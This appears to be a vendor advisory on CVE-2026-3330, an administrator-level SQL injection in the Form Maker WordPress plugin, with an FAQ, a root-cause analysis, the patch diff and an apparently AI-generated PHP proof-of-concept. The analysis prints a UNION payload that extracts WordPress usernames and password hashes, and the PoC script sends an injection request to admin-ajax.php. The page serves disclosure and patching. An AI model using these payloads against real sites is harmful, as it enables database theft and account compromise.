What is CVE-2026-3330?

CVE-2026-3330 is a medium severity SQL injection vulnerability found in the Form Maker by 10Web plugin for WordPress. It allows authenticated users with Administrator-level access to execute arbitrary SQL queries via specific parameters, potentially exposing sensitive data from the database.

How does the SQL injection work?

The vulnerability arises because user input is not properly sanitized before being concatenated into SQL queries. Attackers can manipulate the ‘ip_search’, ‘startdate’, ‘enddate’, ‘username_search’, and ‘useremail_search’ parameters to inject malicious SQL code, enabling them to extract data from the database.

Who is affected by this vulnerability?

Any WordPress site using Form Maker by 10Web version 1.15.40 or earlier is vulnerable. Administrators should check their plugin version in the WordPress dashboard under the Plugins section to determine if they are affected.

How can I check if my site is vulnerable?

To check if your site is vulnerable, navigate to the WordPress admin dashboard, go to the Plugins section, and look for the Form Maker by 10Web plugin. If the version is 1.15.40 or earlier, your site is at risk.

How can I fix this vulnerability?

The vulnerability is patched in version 1.15.41 of the Form Maker plugin. Administrators should update the plugin to this version or later to mitigate the risk of SQL injection.

What are the risks associated with this vulnerability?

If exploited, this vulnerability can lead to unauthorized access to sensitive database information, including user data and configuration secrets. Attackers could extract password hashes and personal information, which may compromise the security of the entire WordPress site.

What does a CVSS score of 4.9 indicate?

A CVSS score of 4.9 indicates a medium severity vulnerability. This means while the vulnerability requires authenticated access to exploit, it still poses a significant risk to the integrity and confidentiality of the data within the affected system.

What is the role of CSRF in this vulnerability?

The vulnerability allows for CSRF exploitation because the Submissions controller does not verify nonces for the ‘display’ task. This means an attacker could trick an administrator into clicking a malicious link that triggers the SQL injection without their knowledge.

How does the proof of concept demonstrate the vulnerability?

The proof of concept provided shows how an attacker can craft a request to the vulnerable endpoint with an SQL injection payload. By sending this request while authenticated as an administrator, the attacker can execute arbitrary SQL commands and potentially extract sensitive database information.

What additional security measures should I take?

In addition to updating the plugin, administrators should implement security best practices such as regular backups, using security plugins, and monitoring user activity. It is also advisable to limit administrator access and ensure that all plugins and themes are kept up to date.

Can this vulnerability be exploited remotely?

No, this vulnerability requires authenticated access to the WordPress dashboard. Therefore, an attacker must have administrator-level credentials to exploit the SQL injection, making it less likely to be exploited by external attackers without access.

What should I do if I cannot update the plugin immediately?

If immediate updating is not possible, consider disabling the Form Maker plugin until a patch can be applied. Additionally, review user access levels and limit administrator privileges to trusted users only to reduce the risk of exploitation.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : April 17, 2026

CVE-2026-3330: Form Maker by 10Web <= 1.15.40 – Authenticated (Administrator+) SQL Injection via 'ip_search' Parameter (form-maker)

CVE ID CVE-2026-3330

Plugin form-maker

Severity Medium (CVSS 4.9)

CWE 89

Vulnerable Version 1.15.40

Patched Version 1.15.41

Disclosed April 15, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-3330:
This vulnerability is an authenticated SQL injection in the Form Maker by 10Web WordPress plugin affecting versions up to and including 1.15.40. The vulnerability allows attackers with administrator-level access to execute arbitrary SQL queries via multiple parameters in the submissions management interface. The CVSS score of 4.9 reflects the requirement for administrator privileges while enabling database information disclosure.

The root cause lies in two distinct code flaws. First, the `WDW_FM_Library::validate_data()` method calls `stripslashes()` on user input, which removes WordPress’s `wp_magic_quotes()` protection against SQL injection. Second, the `FMModelSubmissions_fm::get_labels_parameters()` function in `/form-maker/admin/models/Submissions_fm.php` directly concatenates user-supplied values into SQL queries without using `$wpdb->prepare()`. Specifically, lines 151-178 in the vulnerable version show direct concatenation of parameters like `ip_search`, `startdate`, `enddate`, `username_search`, and `useremail_search` into WHERE clauses. The Submissions controller also skips nonce verification for the `display` task, enabling CSRF exploitation.

Exploitation requires administrator-level access to the WordPress dashboard. Attackers can send crafted requests to the plugin’s submissions endpoint with malicious SQL payloads in the vulnerable parameters. The primary attack vector is through the `display` task of the Submissions controller, which processes search parameters without proper sanitization. An attacker could inject SQL commands via parameters like `ip_search=1′ UNION SELECT user_login,user_pass FROM wp_users– -` to extract sensitive data. CSRF exploitation involves tricking an administrator into clicking a malicious link that triggers the vulnerable endpoint.

The patch implements multiple security improvements. In `/form-maker/admin/models/Submissions_fm.php`, lines 151-178 are rewritten to use `$wpdb->prepare()` for all parameterized queries. The patch adds proper type casting with `(int)` for numeric parameters and uses `$wpdb->esc_like()` for LIKE clause parameters. Lines 226-227 introduce additional sanitization by removing quotes and backslashes from `$search_temp`. Lines 279-302 implement a new `$join_where_safe` array that sanitizes label and search values using `preg_replace()` and `esc_sql()`. The patch also fixes unsafe unserialization in other files and adds input validation in the frontend controller.

Successful exploitation allows attackers to execute arbitrary SQL queries on the WordPress database. This can lead to complete database information disclosure, including sensitive user data, form submissions, and WordPress configuration secrets. Attackers could extract password hashes, personal information from form submissions, and potentially gain further access to the hosting environment. The CSRF aspect enables attackers to compromise administrator accounts without direct access by tricking them into executing malicious requests.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/form-maker/admin/controllers/FormMakerIpinfoinPopup.php
+++ b/form-maker/admin/controllers/FormMakerIpinfoinPopup.php
@@ -24,9 +24,22 @@
     require_once WDFMInstance(self::PLUGIN)->plugin_dir . "/admin/views/FMIpinfoinPopup.php";
     $this->view = new FMViewFromipinfoinpopup();
     // Get IP
-    $ip = WDW_FM_Library(self::PLUGIN)->get('data_ip', '');
+    $ip = trim( (string) WDW_FM_Library(self::PLUGIN)->get('data_ip', '') );
     // Connect to IP api service and get IP info.
-    $ipinfo = @unserialize(file_get_contents('http://ip-api.com/php/' . $ip));
+    // Use JSON to avoid unsafe unserialize of remote data.
+    $ipinfo = array();
+    if ( !empty($ip) ) {
+      $response = wp_remote_get(
+        'https://ip-api.com/json/' . rawurlencode($ip),
+        array( 'timeout' => 5 )
+      );
+      if ( !is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200 ) {
+        $decoded = json_decode(wp_remote_retrieve_body($response), true);
+        if ( is_array($decoded) ) {
+          $ipinfo = $decoded;
+        }
+      }
+    }
     $city = '-';
     $country = '-';
     $countryCode = '-';
@@ -34,11 +47,12 @@
     $timezone = '-';
     $lat = '-';
     $lon = '-';
-    if ( $ipinfo && $ipinfo['status'] == 'success' && $ipinfo['countryCode'] ) {
+    if ( !empty($ipinfo) && isset($ipinfo['status']) && $ipinfo['status'] == 'success' && !empty($ipinfo['countryCode']) ) {
       $city = $ipinfo['city'];
       $country = $ipinfo['country'];
       $countryCode = $ipinfo['countryCode'];
-      $country_flag = '<img width="16px" src="' . WDFMInstance(self::PLUGIN)->plugin_url . '/images/flags/' . strtolower($ipinfo['countryCode']) . '.png" class="sub-align" alt="' . $ipinfo['country'] . '" title="' . $ipinfo['country'] . '" />';
+      $flag_src = WDFMInstance(self::PLUGIN)->plugin_url . '/images/flags/' . strtolower($ipinfo['countryCode']) . '.png';
+      $country_flag = '<img width="16px" src="' . esc_url($flag_src) . '" class="sub-align" alt="' . esc_attr($ipinfo['country']) . '" title="' . esc_attr($ipinfo['country']) . '" />';
       $timezone = $ipinfo['timezone'];
       $lat = $ipinfo['lat'];
       $lon = $ipinfo['lon'];
--- a/form-maker/admin/models/Submissions_fm.php
+++ b/form-maker/admin/models/Submissions_fm.php
@@ -42,7 +42,10 @@
 	*/
 	public function get_form( $id = 0 ) {
 		global $wpdb;
-		$query = 'SELECT `id`, `title` FROM ' . $wpdb->prefix .'formmaker WHERE id = ' . $id ;
+		$query = $wpdb->prepare(
+			'SELECT `id`, `title` FROM ' . $wpdb->prefix . 'formmaker WHERE id = %d',
+			(int) $id
+		);
 		$form = $wpdb->get_row( $query );
 		return $form;
 	}
@@ -150,25 +153,31 @@
     $lists['username_search'] = WDW_FM_Library(self::PLUGIN)->get('username_search');
     $lists['useremail_search'] = WDW_FM_Library(self::PLUGIN)->get('useremail_search');
     $lists['id_search'] = WDW_FM_Library(self::PLUGIN)->get('id_search');
-    if ( $lists['ip_search'] ) {
-      $where[] = 'ip LIKE "%' . $lists['ip_search'] . '%"';
+    if ( !empty($lists['ip_search']) ) {
+      $where[] = $wpdb->prepare( 'ip LIKE %s', '%' . $wpdb->esc_like( $lists['ip_search'] ) . '%' );
     }
-    if ( $lists['startdate'] != '' ) {
-      $where[] = " `date`>='" . $lists['startdate'] . " 00:00:00' ";
+    if ( !empty($lists['startdate']) ) {
+      $where[] = $wpdb->prepare( '`date`>=%s', $lists['startdate'] . ' 00:00:00' );
     }
-    if ( $lists['enddate'] != '' ) {
-      $where[] = " `date`<='" . $lists['enddate'] . " 23:59:59' ";
+    if ( !empty($lists['enddate']) ) {
+      $where[] = $wpdb->prepare( '`date`<=%s', $lists['enddate'] . ' 23:59:59' );
     }
-    if ( $lists['username_search'] ) {
-      $where[] = 'user_id_wd IN (SELECT ID FROM ' . $wpdb->prefix . 'users WHERE display_name LIKE "%' . $lists['username_search'] . '%")';
+    if ( !empty($lists['username_search']) ) {
+      $where[] = $wpdb->prepare(
+        'user_id_wd IN (SELECT ID FROM ' . $wpdb->prefix . 'users WHERE display_name LIKE %s)',
+        '%' . $wpdb->esc_like( $lists['username_search'] ) . '%'
+      );
+    }
+    if ( !empty($lists['useremail_search']) ) {
+      $where[] = $wpdb->prepare(
+        'user_id_wd IN (SELECT ID FROM ' . $wpdb->prefix . 'users WHERE user_email LIKE %s)',
+        '%' . $wpdb->esc_like( $lists['useremail_search'] ) . '%'
+      );
     }
-    if ( $lists['useremail_search'] ) {
-      $where[] = 'user_id_wd IN (SELECT ID FROM ' . $wpdb->prefix . 'users WHERE user_email LIKE "%' . $lists['useremail_search'] . '%")';
+    if ( !empty($lists['id_search']) ) {
+      $where[] = $wpdb->prepare( 'group_id=%d', (int) $lists['id_search'] );
     }
-    if ( $lists['id_search'] ) {
-      $where[] = 'group_id =' . (int) $lists['id_search'];
-    }
-    $where[] = 'form_id=' . $form_id . '';
+    $where[] = $wpdb->prepare( 'form_id=%d', (int) $form_id );
     $where = (count($where) ? ' ' . implode(' AND ', $where) : '');
     if ( $order_by == 'group_id' or $order_by == 'date' or $order_by == 'ip' ) {
       $orderby = ' ORDER BY ' . $order_by . ' ' . $asc_or_desc . '';
@@ -226,6 +235,8 @@
             $search_temp = WDW_FM_Library(self::PLUGIN)->get($_search_key);
           }
           $search_temp = urldecode($search_temp);
+          // Prevent SQL injection when $search_temp is interpolated into dynamic SQL fragments later.
+          $search_temp = str_replace(array("'", '"', '\'), '', $search_temp);
           /* TODO conflict other DB version
             $search_temp = html_entity_decode($search_temp, ENT_QUOTES);
           */
@@ -243,7 +254,7 @@
             $join_query[] = 'search';
             $join_where[] = NULL;
             foreach (array_keys($ver_emails_array) as $key => $value) {
-              $ver_email_keys_for_regex[$key] = '^' . $value . '$';
+              $ver_email_keys_for_regex[$key] = '^' . (int) $value . '$';
             }
             $join_verified[] = array(
               'label' => $label_id,
@@ -268,19 +279,42 @@
           $ver_where .= '(element_label ="' . $join_ver['label'] . '" AND group_id REGEXP "' . $join_ver['ver_search'] . '" ) AND';
         }
       }
+      // Sanitize dynamically interpolated label/search values used in SQL fragments below.
+      $join_where_safe = array();
+      foreach ( $join_where as $jw_key => $jw_val ) {
+        if ( !is_array($jw_val) ) {
+          $join_where_safe[$jw_key] = $jw_val;
+          continue;
+        }
+        $safe_label = '';
+        if ( isset($jw_val['label']) ) {
+          $safe_label = preg_replace('/[^a-zA-Z0-9_]/', '', (string) $jw_val['label']);
+        }
+        $safe_search = '';
+        $safe_search_alt = '';
+        if ( isset($jw_val['search']) ) {
+          $safe_search = esc_sql( $wpdb->esc_like( (string) $jw_val['search'] ) );
+          $safe_search_alt = esc_sql( $wpdb->esc_like( str_replace(' ', '@@@', (string) $jw_val['search']) ) );
+        }
+        $join_where_safe[$jw_key] = array(
+          'label' => $safe_label,
+          'search' => $safe_search,
+          'search_alt' => $safe_search_alt,
+        );
+      }
       switch ( count($join_query) ) {
         case 0:
           $join = 'SELECT distinct group_id FROM ' . $wpdb->prefix . 'formmaker_submits WHERE ' . $where;
           break;
         case 1:
           if ( $join_query[0] == 'sort' ) {
-            $join = 'SELECT group_id FROM ' . $wpdb->prefix . 'formmaker_submits WHERE ' . $where . ' AND element_label="' . $join_where[0]['label'] . '" ';
-            $join_count = 'SELECT count(group_id) FROM ' . $wpdb->prefix . 'formmaker_submits WHERE form_id="' . $form_id . '" AND element_label="' . $join_where[0]['label'] . '" ';
+            $join = 'SELECT group_id FROM ' . $wpdb->prefix . 'formmaker_submits WHERE ' . $where . ' AND element_label="' . $join_where_safe[0]['label'] . '" ';
+            $join_count = 'SELECT count(group_id) FROM ' . $wpdb->prefix . 'formmaker_submits WHERE form_id="' . (int) $form_id . '" AND element_label="' . $join_where_safe[0]['label'] . '" ';
             $orderby = ' ORDER BY `element_value` ' . $asc_or_desc;
           }
           else {
-            if ( isset($join_where[0]['search']) ) {
-              $join = 'SELECT group_id FROM ' . $wpdb->prefix . 'formmaker_submits WHERE element_label="' . $join_where[0]['label'] . '" AND  (element_value LIKE "%' . $join_where[0]['search'] . '%" OR element_value LIKE "%' . str_replace(' ', '@@@', $join_where[0]['search']) . '%")  AND ' . $where;
+            if ( isset($join_where_safe[0]['search']) ) {
+              $join = 'SELECT group_id FROM ' . $wpdb->prefix . 'formmaker_submits WHERE element_label="' . $join_where_safe[0]['label'] . '" AND  (element_value LIKE "%' . $join_where_safe[0]['search'] . '%" OR element_value LIKE "%' . $join_where_safe[0]['search_alt'] . '%")  AND ' . $where;
             }
             else {
               $join = 'SELECT group_id FROM ' . $wpdb->prefix . 'formmaker_submits WHERE  ' . $ver_where . $where;
@@ -289,26 +323,26 @@
           break;
         default:
           if ( !empty($join_verified) ) {
-            if ( isset($join_where[0]['search']) ) {
-              $join = 'SELECT t.group_id from (SELECT t1.group_id from (SELECT ' . $cols . ' FROM ' . $wpdb->prefix . 'formmaker_submits WHERE (element_label="' . $join_where[0]['label'] . '" AND (element_value LIKE "%' . $join_where[0]['search'] . '%" OR element_value LIKE "%' . str_replace(' ', '@@@', $join_where[0]['search']) . '%")) AND ' . $where . ' ) as t1 JOIN (SELECT group_id FROM ' . $wpdb->prefix . 'formmaker_submits WHERE  ' . $ver_where . $where . ') as t2 ON t1.group_id = t2.group_id) as t ';
+            if ( isset($join_where_safe[0]['search']) ) {
+              $join = 'SELECT t.group_id from (SELECT t1.group_id from (SELECT ' . $cols . ' FROM ' . $wpdb->prefix . 'formmaker_submits WHERE (element_label="' . $join_where_safe[0]['label'] . '" AND (element_value LIKE "%' . $join_where_safe[0]['search'] . '%" OR element_value LIKE "%' . $join_where_safe[0]['search_alt'] . '%")) AND ' . $where . ' ) as t1 JOIN (SELECT group_id FROM ' . $wpdb->prefix . 'formmaker_submits WHERE  ' . $ver_where . $where . ') as t2 ON t1.group_id = t2.group_id) as t ';
             }
             else {
               $join = 'SELECT t.group_id FROM (SELECT ' . $cols . '  FROM ' . $wpdb->prefix . 'formmaker_submits WHERE ' . $ver_where . $where . ') as t ';
             }
           }
           else {
-            $join = 'SELECT t.group_id FROM (SELECT ' . $cols . '  FROM ' . $wpdb->prefix . 'formmaker_submits WHERE ' . $where . ' AND element_label="' . $join_where[0]['label'] . '" AND  (element_value LIKE "%' . $join_where[0]['search'] . '%" OR element_value LIKE "%' . str_replace(' ', '@@@', $join_where[0]['search']) . '%" )) as t ';
+            $join = 'SELECT t.group_id FROM (SELECT ' . $cols . '  FROM ' . $wpdb->prefix . 'formmaker_submits WHERE ' . $where . ' AND element_label="' . $join_where_safe[0]['label'] . '" AND  (element_value LIKE "%' . $join_where_safe[0]['search'] . '%" OR element_value LIKE "%' . $join_where_safe[0]['search_alt'] . '%" )) as t ';
           }
           for ( $key = 1; $key < count($join_query); $key++ ) {
             if ( $join_query[$key] == 'sort' ) {
-              if ( isset($join_where[$key]) ) {
-                $join .= 'LEFT JOIN (SELECT group_id as group_id' . $key . ', element_value   FROM ' . $wpdb->prefix . 'formmaker_submits WHERE ' . $where . ' AND element_label="' . $join_where[$key]['label'] . '") as t' . $key . ' ON t' . $key . '.group_id' . $key . '=t.group_id ';
+              if ( isset($join_where_safe[$key]) ) {
+                $join .= 'LEFT JOIN (SELECT group_id as group_id' . $key . ', element_value   FROM ' . $wpdb->prefix . 'formmaker_submits WHERE ' . $where . ' AND element_label="' . $join_where_safe[$key]['label'] . '") as t' . $key . ' ON t' . $key . '.group_id' . $key . '=t.group_id ';
                 $orderby = ' ORDER BY t' . $key . '.`element_value` ' . $asc_or_desc . '';
               }
             }
             else {
-              if ( isset($join_where[$key]) ) {
-                $join .= 'INNER JOIN (SELECT group_id as group_id' . $key . ' FROM ' . $wpdb->prefix . 'formmaker_submits WHERE ' . $where . ' AND element_label="' . $join_where[$key]['label'] . '" AND  (element_value LIKE "%' . $join_where[$key]['search'] . '%" OR element_value LIKE "%' . str_replace(' ', '@@@', $join_where[$key]['search']) . '%")) as t' . $key . ' ON t' . $key . '.group_id' . $key . '=t.group_id ';
+              if ( isset($join_where_safe[$key]) ) {
+                $join .= 'INNER JOIN (SELECT group_id as group_id' . $key . ' FROM ' . $wpdb->prefix . 'formmaker_submits WHERE ' . $where . ' AND element_label="' . $join_where_safe[$key]['label'] . '" AND  (element_value LIKE "%' . $join_where_safe[$key]['search'] . '%" OR element_value LIKE "%' . $join_where_safe[$key]['search_alt'] . '%")) as t' . $key . ' ON t' . $key . '.group_id' . $key . '=t.group_id ';
               }
             }
           }
@@ -341,7 +375,7 @@
       $where2 = array();
       $where2[] = "group_id='0'";
       foreach ( $rows_ord as $rows_ordd ) {
-        $where2[] = "group_id='" . $rows_ordd . "'";
+        $where2[] = "group_id='" . (int) $rows_ordd . "'";
       }
       $where2 = (count($where2) ? ' WHERE ' . implode(' OR ', $where2) . '' : '');
       $query = 'SELECT * FROM ' . $wpdb->prefix . 'formmaker_submits ' . $where2;
--- a/form-maker/booster/AdminBar.php
+++ b/form-maker/booster/AdminBar.php
@@ -255,10 +255,19 @@
         return;
       }
       foreach ( $posts as $post ) {
-        $page_score = unserialize($post['meta_value']);
-        if( isset($page_score['previous_score']) ) {
-          $page_score = $page_score['previous_score'];
-        } else {
+        $page_score = @unserialize($post['meta_value'], array('allowed_classes' => false));
+        if ( is_object($page_score) ) {
+          $page_score = get_object_vars($page_score);
+        }
+        if ( !is_array($page_score) || !isset($page_score['previous_score']) ) {
+          continue;
+        }
+
+        $page_score = $page_score['previous_score'];
+        if ( is_object($page_score) ) {
+          $page_score = get_object_vars($page_score);
+        }
+        if ( !is_array($page_score) ) {
           continue;
         }

--- a/form-maker/form-maker.php
+++ b/form-maker/form-maker.php
@@ -3,7 +3,7 @@
  * Plugin Name: Form Maker
  * Plugin URI: https://10web.io/plugins/wordpress-form-maker/?utm_source=form_maker&utm_medium=free_plugin
  * Description: This plugin is a modern and advanced tool for easy and fast creating of a WordPress Form. The backend interface is intuitive and user friendly which allows users far from scripting and programming to create WordPress Forms.
- * Version: 1.15.40
+ * Version: 1.15.41
  * Author: 10Web Form Builder Team
  * Author URI: https://10web.io/plugins/?utm_source=form_maker&utm_medium=free_plugin
  * License: GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
@@ -26,8 +26,8 @@
   public $plugin_url = '';
   public $front_urls = array();
   public $main_file = '';
-  public $plugin_version = '1.15.40';
-  public $db_version = '2.15.40';
+  public $plugin_version = '1.15.41';
+  public $db_version = '2.15.41';
   public $menu_postfix = '_fm';
   public $plugin_postfix = '';
   public $handle_prefix = 'fm';
--- a/form-maker/frontend/controllers/form_maker.php
+++ b/form-maker/frontend/controllers/form_maker.php
@@ -321,6 +321,14 @@
               $params = str_replace( $str_key, $safe_val, $params );
             }
           }
+          // Prevent attacker-controlled dynamic method calls.
+          if ( !preg_match('/^type_[a-zA-Z0-9_]+$/', $type) ) {
+            continue;
+          }
+          if ( !is_callable( array($this->view, $type) ) ) {
+            continue;
+          }
+
           $html = $this->view->$type( $params, $row, $form_id, $row_id, $type, $param );
           $json[$row_id] = array('html' => $html);
         }

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3330 - Form Maker by 10Web <= 1.15.40 - Authenticated (Administrator+) SQL Injection via 'ip_search' Parameter

<?php

$target_url = 'https://vulnerable-site.com/wp-admin/admin-ajax.php';
$admin_cookie = 'wordpress_logged_in_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';

// SQL injection payload to extract database version
$payload = "1' UNION SELECT @@version,2,3,4,5,6,7,8,9,10-- -";

// Prepare the malicious request
$post_data = array(
    'action' => 'formmaker_submissions',
    'task' => 'display',
    'form_id' => '1',
    'ip_search' => $payload,
    'startdate' => '',
    'enddate' => '',
    'username_search' => '',
    'useremail_search' => '',
    'id_search' => ''
);

// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Cookie: ' . $admin_cookie,
    'Content-Type: application/x-www-form-urlencoded'
));
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check for successful exploitation
if ($http_code == 200 && strpos($response, 'MySQL') !== false) {
    echo "[+] SQL Injection successful! Database version exposed.n";
    echo "[+] Response contains database information.n";
    // Extract and display relevant data from the response
    preg_match('/<td[^>]*>([^<]+)</td>/', $response, $matches);
    if (!empty($matches[1])) {
        echo "[+] Extracted data: " . htmlspecialchars($matches[1]) . "n";
    }
} else {
    echo "[-] Exploitation failed. HTTP Code: $http_coden";
    echo "[-] Response may indicate patched version or invalid credentials.n";
}

curl_close($ch);

?>

Frequently Asked Questions

What is CVE-2026-3330?
Overview of the vulnerability
CVE-2026-3330 is a medium severity SQL injection vulnerability found in the Form Maker by 10Web plugin for WordPress. It allows authenticated users with Administrator-level access to execute arbitrary SQL queries via specific parameters, potentially exposing sensitive data from the database.
How does the SQL injection work?
Mechanism of exploitation
The vulnerability arises because user input is not properly sanitized before being concatenated into SQL queries. Attackers can manipulate the ‘ip_search’, ‘startdate’, ‘enddate’, ‘username_search’, and ‘useremail_search’ parameters to inject malicious SQL code, enabling them to extract data from the database.
Who is affected by this vulnerability?
Identifying vulnerable installations
Any WordPress site using Form Maker by 10Web version 1.15.40 or earlier is vulnerable. Administrators should check their plugin version in the WordPress dashboard under the Plugins section to determine if they are affected.
How can I check if my site is vulnerable?
Verifying plugin version
To check if your site is vulnerable, navigate to the WordPress admin dashboard, go to the Plugins section, and look for the Form Maker by 10Web plugin. If the version is 1.15.40 or earlier, your site is at risk.
How can I fix this vulnerability?
Updating the plugin
The vulnerability is patched in version 1.15.41 of the Form Maker plugin. Administrators should update the plugin to this version or later to mitigate the risk of SQL injection.
What are the risks associated with this vulnerability?
Potential impacts of exploitation
If exploited, this vulnerability can lead to unauthorized access to sensitive database information, including user data and configuration secrets. Attackers could extract password hashes and personal information, which may compromise the security of the entire WordPress site.
What does a CVSS score of 4.9 indicate?
Understanding severity ratings
A CVSS score of 4.9 indicates a medium severity vulnerability. This means while the vulnerability requires authenticated access to exploit, it still poses a significant risk to the integrity and confidentiality of the data within the affected system.
What is the role of CSRF in this vulnerability?
Cross-Site Request Forgery implications
The vulnerability allows for CSRF exploitation because the Submissions controller does not verify nonces for the ‘display’ task. This means an attacker could trick an administrator into clicking a malicious link that triggers the SQL injection without their knowledge.
How does the proof of concept demonstrate the vulnerability?
Example of exploitation
The proof of concept provided shows how an attacker can craft a request to the vulnerable endpoint with an SQL injection payload. By sending this request while authenticated as an administrator, the attacker can execute arbitrary SQL commands and potentially extract sensitive database information.
What additional security measures should I take?
Best practices for WordPress security
In addition to updating the plugin, administrators should implement security best practices such as regular backups, using security plugins, and monitoring user activity. It is also advisable to limit administrator access and ensure that all plugins and themes are kept up to date.
Can this vulnerability be exploited remotely?
Access requirements for exploitation
No, this vulnerability requires authenticated access to the WordPress dashboard. Therefore, an attacker must have administrator-level credentials to exploit the SQL injection, making it less likely to be exploited by external attackers without access.
What should I do if I cannot update the plugin immediately?
Mitigation strategies
If immediate updating is not possible, consider disabling the Form Maker plugin until a patch can be applied. Additionally, review user access levels and limit administrator privileges to trusted users only to reduce the risk of exploitation.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations